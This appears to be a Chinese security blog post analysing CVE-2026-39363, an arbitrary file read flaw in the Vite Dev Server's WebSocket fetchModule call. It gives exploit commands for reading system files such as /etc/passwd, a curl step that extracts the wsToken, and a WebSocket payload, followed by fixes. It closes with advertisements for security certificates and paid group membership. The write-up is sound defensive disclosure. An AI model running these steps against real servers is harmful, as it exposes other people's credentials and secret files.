文章总结: 本文详细分析了CVE-2026-39363漏洞,该漏洞存在于ViteDevServer的WebSocketfetchModuleRPC调用中,当使用file://协议或无importer参数时会绕过isFileServingAllowed安全检查,导致攻击者可读取服务器任意文件。影响版本包括Vite6.2.3之前的多个版本,利用条件需要DevServer暴露于网络且fs.allow配置宽松。文章提供了完整的漏洞复现步骤、Python/Node.js验证脚本以及修复方案(升级Vite、严格配置fs.allow)。 综合评分: 72 文章分类: 漏洞分析,WEB安全,代码审计,安全工具,漏洞预警
CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析
原创
MY0723 MY0723
不秃头的安全
2026年4月10日 17:42 北京
在小说阅读器读本章
去阅读
CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn\*d(中高)/c2n\*d(高与支撑单位)/安全证书请联系vx咨询</span>
一、漏洞概述
2026年3月,安全研究人员披露了 Vite Dev Server 中一个严重的安全漏洞,攻击者可通过 WebSocket 协议绕过安全检查,读取目标服务器上的任意文件。https://github.com/Firebasky/CVE-2026-39363可自行下载验证。
| 属性 | 信息 | | — | — | | 漏洞编号 | CVE-2026-39363 | | GHSA ID | GHSA-p9ff-h696-f583 | | 漏洞类型 | Arbitrary File Read(任意文件读取) | | 影响组件 | Vite Dev Server | | 影响版本 | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 | | CVSS 评分 | High | | 修复版本 | Vite >= 6.2.3 |
二、漏洞原理
核心问题
Vite Dev Server 的 WebSocket fetchModule RPC 调用存在安全检查绕过漏洞。当使用 file:// 协议或没有 importer 参数时,代码直接调用 resolveId,绕过了 isFileServingAllowed 检查。
代码审计
漏洞代码位于 vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070:
async function fetchModule(environment, url, importer, options = {}) {
const isFileUrl = url.startsWith("file://");
// 关键漏洞点:当 URL 是 file:// 或没有 importer 时
// 直接调用 resolveId,没有进行 isFileServingAllowed 检查
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
thrownewError(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
}
请求路径对比
HTTP 请求经过多层安全检查:
HTTP GET /@fs/C:/secret.txt
→ ensureServingAccess()
→ isFileServingAllowed()
→ isFileLoadingAllowed() → BLOCKED
WebSocket 请求绕过了部分检查:
WebSocket: fetchModule("file://C:/secret.txt")
→ fetchModule()
→ (isFileUrl || !importer) → 直接 resolveId
→ loadAndTransform()
→ isFileLoadingAllowed() → 取决于 fs.allow 配置
三、利用条件
- Vite Dev Server 暴露在网络上(使用
--host参数) server.fs.allow配置宽松:
fs.allow: ['..']– 可读取上级目录fs.allow: ['C:/']– 可读取整个 C 盘fs.strict: false– 完全无限制
- 可获取 wsToken(通过访问
/@vite/client)
四、环境搭建
# 克隆仓库
https://github.com/Firebasky/CVE-2026-39363/tree/main
直接下载,包含环境
cd CVE-2026-39363
# 安装依赖
npm install
# 启动 Vite Dev Server
npm run dev
五、漏洞复现
这里不知道自己token可以不指定先运行可以获取到值
方法一:Python 脚本
# 基本用法
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# 读取项目外文件
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# 指定 token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
方法二:Node.js POC
# 获取 wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# 运行 POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
手动利用步骤
- 获取 WebSocket Token:
curl -s "http://target:5173/@vite/client" | grep wsToken
- WebSocket 连接:
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
- 发送 payload:
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
六、修复方案
1. 升级 Vite
npm update vite
# 或
npm install vite@latest
2. 限制 server.fs.allow
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // 只允许项目根目录
}
}
})
3. 安全建议
- 生产环境不要运行 Dev Server
- 避免使用
--host暴露服务 - 使用防火墙限制对开发服务器的访问
七、总结
CVE-2026-39363 漏洞允许攻击者通过 WebSocket 协议读取 Vite Dev Server 配置允许范围内的任意文件。虽然 WebSocket 连接需要有效的 token,但攻击者可以通过访问 /@vite/client 获取该 token。
漏洞的严重性取决于目标服务器的 server.fs.allow 配置。如果配置过于宽松,攻击者可以读取服务器上的敏感配置文件、密钥、环境变量等。
八、参考资料
- https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
- https://nvd.nist.gov/vuln/detail/CVE-2026-39363
- https://github.com/Firebasky/CVE-2026-39363(包含环境及验证脚本可自行下载)
📄往期推荐:
Vim 高危 RCE 漏洞预警:打开文件即执行任意命令(CVE-2026-34714)
【紧急预警】Axios npm 供应链攻击事件完整分析报告——这可能是史上针对 Top 10 npm 包最复杂的攻击
Langflow RCE与技术细节CVE-2026-33017
黄油曲奇v1.0.3 集成化渗透测试浏览器插件
负载均衡下打内存马的奇淫技巧
关于我们:
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。
1. 需要考以下各类安全证书的可以联系
①Cn*d,NCC,NVDB🀄️高漏洞证书
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书
【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723
https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#
想加群下方二维码,群过期或群满加下方vx拉:
2. 需要入星球的可以私聊优惠
1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠
3、其他合作(合法合规)
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);
2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;
3、接受脱敏投稿,送一年知识星球及礼包。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:不秃头的安全 MY0723 MY0723《CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论